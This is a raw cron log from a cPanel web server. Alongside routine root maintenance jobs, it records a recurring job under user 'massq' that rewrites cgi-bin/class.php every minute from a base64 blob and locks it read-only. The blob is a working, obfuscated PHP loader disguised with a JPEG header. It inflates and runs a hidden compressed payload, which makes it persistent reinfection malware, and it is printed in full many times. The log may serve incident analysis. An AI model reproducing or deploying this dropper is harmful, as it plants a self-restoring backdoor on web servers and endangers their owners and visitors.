Sep  5 15:35:01 server CROND[30843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:35:01 server CROND[30842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:35:01 server CROND[30841]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 15:35:01 server CROND[30845]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 15:35:01 server CROND[30846]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:36:01 server CROND[31676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:36:01 server CROND[31677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:36:01 server CROND[31678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:37:01 server CROND[32046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:37:01 server CROND[32047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:37:01 server CROND[32048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:38:01 server CROND[32426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:38:01 server CROND[32425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:38:01 server CROND[32427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:39:01 server CROND[343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:39:01 server CROND[344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:39:01 server CROND[346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:39:01 server CROND[345]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 15:40:01 server CROND[864]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:40:01 server CROND[865]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 15:40:01 server CROND[869]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:40:01 server CROND[868]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 15:40:01 server CROND[867]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 15:40:01 server CROND[871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:40:01 server CROND[870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:40:01 server CROND[872]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:41:01 server CROND[1789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:41:01 server CROND[1790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:41:01 server CROND[1791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:42:01 server CROND[2198]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 15:42:01 server CROND[2200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:42:01 server CROND[2199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:42:01 server CROND[2201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:43:01 server CROND[2580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:43:01 server CROND[2580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:43:01 server CROND[2581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:43:01 server CROND[2582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:44:02 server CROND[2987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:44:02 server CROND[2988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:44:02 server CROND[2986]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:45:01 server CROND[3353]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:45:01 server CROND[3355]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 15:45:01 server CROND[3356]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:45:01 server CROND[3358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:45:01 server CROND[3357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:45:01 server CROND[3360]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 15:45:01 server CROND[3359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:46:01 server CROND[4325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 15:46:01 server CROND[4327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
